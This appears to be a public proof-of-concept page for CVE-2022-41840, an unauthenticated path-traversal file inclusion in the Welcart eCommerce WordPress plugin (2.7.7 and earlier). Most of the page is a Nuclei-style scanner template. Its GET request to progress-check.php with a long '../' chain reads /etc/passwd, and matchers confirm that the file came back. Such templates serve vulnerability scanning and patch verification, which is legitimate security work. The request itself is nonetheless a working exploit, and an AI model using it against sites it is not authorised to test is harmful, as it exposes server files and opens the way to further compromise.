CVE-2022-41840: Welcart eCommerce <=2.7.7 - Local File Inclusion

2025-08-01 Welcart eCommerce PoC Public

Description

Welcart eCommerce 2.7.7 and before are vulnerable to unauthenticated local file inclusion.

PoC

id: CVE-2022-41840

info:
  name: Welcart eCommerce <=2.7.7 - Local File Inclusion
  author: theamanrawat
  severity: critical
  description: |
    Welcart eCommerce 2.7.7 and before are vulnerable to unauthenticated local file inclusion.
  impact: |
    The LFI vulnerability can lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further exploitation.
  remediation: |
    Upgrade Welcart eCommerce plugin to the latest version (>=2.7.8) or apply the provided patch to fix the LFI vulnerability.
  reference:
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability
    - https://wordpress.org/plugins/usc-e-shop/
    - https://patchstack.com/database/vulnerability/usc-e-shop/wordpress-welcart-e-commerce-plugin-2-7-7-unauth-directory-traversal-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41840
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2022-41840
    cwe-id: CWE-22
    epss-score: 0.05212
    epss-percentile: 0.92075
    cpe: cpe:2.3:a:collne:welcart_e-commerce:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: collne
    product: welcart_e-commerce
    framework: wordpress
  tags: cve2022,cve,wp-plugin,wordpress,wp,lfi,unauth,usc-e-shop,collne,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/usc-e-shop/functions/progress-check.php?progressfile=../../../../../../../../../../../../../etc/passwd"

    matchers-condition: and
    matchers:
      - type: word
        part: header
        words:
          - "application/json"

      - type: regex
        part: body
        regex:
          - "root:.*:0:0:"

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100e89b4e52e1ee7a0838a1f0da0950653a84a21db0af6e60a996c4462ba634719802202646fbd2e386d30197557ad51d26bfde74d251f60170a9b4e8098a92909c6452:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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